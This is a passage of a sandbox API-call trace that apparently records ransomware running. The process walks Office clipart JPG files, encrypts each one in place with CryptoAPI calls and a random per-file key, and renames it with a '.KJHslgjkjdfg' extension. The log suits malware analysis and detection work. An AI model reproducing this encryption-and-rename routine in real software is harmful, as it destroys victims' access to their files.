lpOverlapped=0x0) returned 1 [0213.377] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.377] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.377] GetProcessHeap () returned 0x2ef0000 [0213.377] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.377] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.377] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.377] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.378] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.378] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.378] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.378] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.378] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.378] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.378] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6f43, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6f43, lpOverlapped=0x0) returned 1 [0213.380] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f50, dwBufLen=0x6f50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f50) returned 1 [0213.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.380] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6f50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6f50, lpOverlapped=0x0) returned 1 [0213.380] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.380] SetEndOfFile (hFile=0x130) returned 1 [0213.383] GetProcessHeap () returned 0x2ef0000 [0213.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.383] GetProcessHeap () returned 0x2ef0000 [0213.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.kjhslgjkjdfg")) returned 1 [0213.384] CloseHandle (hObject=0x130) returned 1 [0213.384] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6aa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341557.JPG", cAlternateFileName="")) returned 1 [0213.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.386] GetProcessHeap () returned 0x2ef0000 [0213.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.386] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.386] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.388] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.388] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.389] GetProcessHeap () returned 0x2ef0000 [0213.389] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.389] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.389] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.389] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.389] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.389] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.389] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.389] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.389] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.389] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.390] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6aa8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6aa8, lpOverlapped=0x0) returned 1 [0213.391] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6ab0, dwBufLen=0x6ab0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6ab0) returned 1 [0213.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.391] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6ab0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6ab0, lpOverlapped=0x0) returned 1 [0213.391] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.391] SetEndOfFile (hFile=0x130) returned 1 [0213.395] GetProcessHeap () returned 0x2ef0000 [0213.395] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.395] GetProcessHeap () returned 0x2ef0000 [0213.395] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.kjhslgjkjdfg")) returned 1 [0213.396] CloseHandle (hObject=0x130) returned 1 [0213.396] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6873, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341559.JPG", cAlternateFileName="")) returned 1 [0213.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.398] GetProcessHeap () returned 0x2ef0000 [0213.398] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.398] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.398] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0213.400] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.400] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.400] GetProcessHeap () returned 0x2ef0000 [0213.400] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.400] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.400] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.400] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.401] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.401] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.401] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.401] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.401] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.401] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.401] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6873, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6873, lpOverlapped=0x0) returned 1 [0213.402] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6880, dwBufLen=0x6880 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6880) returned 1 [0213.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.403] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6880, lpOverlapped=0x0) returned 1 [0213.403] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.403] SetEndOfFile (hFile=0x130) returned 1 [0213.406] GetProcessHeap () returned 0x2ef0000 [0213.406] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.406] GetProcessHeap () returned 0x2ef0000 [0213.406] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.kjhslgjkjdfg")) returned 1 [0213.408] CloseHandle (hObject=0x130) returned 1 [0213.408] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341561.JPG", cAlternateFileName="")) returned 1 [0213.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.409] GetProcessHeap () returned 0x2ef0000 [0213.409] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.409] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.410] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0213.412] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.412] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.412] GetProcessHeap () returned 0x2ef0000 [0213.412] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.412] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.412] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.413] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.413] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.413] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.413] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.413] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.413] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.413] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.413] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa497, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa497, lpOverlapped=0x0) returned 1 [0213.415] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa4a0, dwBufLen=0xa4a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa4a0) returned 1 [0213.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.415] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa4a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa4a0, lpOverlapped=0x0) returned 1 [0213.416] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.416] SetEndOfFile (hFile=0x130) returned 1 [0213.419] GetProcessHeap () returned 0x2ef0000 [0213.419] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.419] GetProcessHeap () returned 0x2ef0000 [0213.419] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.kjhslgjkjdfg")) returned 1 [0213.421] CloseHandle (hObject=0x130) returned 1 [0213.421] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341634.JPG", cAlternateFileName="")) returned 1 [0213.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.422] GetProcessHeap () returned 0x2ef0000 [0213.422] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.422] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.423] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0213.425] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.426] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.426] GetProcessHeap () returned 0x2ef0000 [0213.426] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.426] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.426] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.426] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) 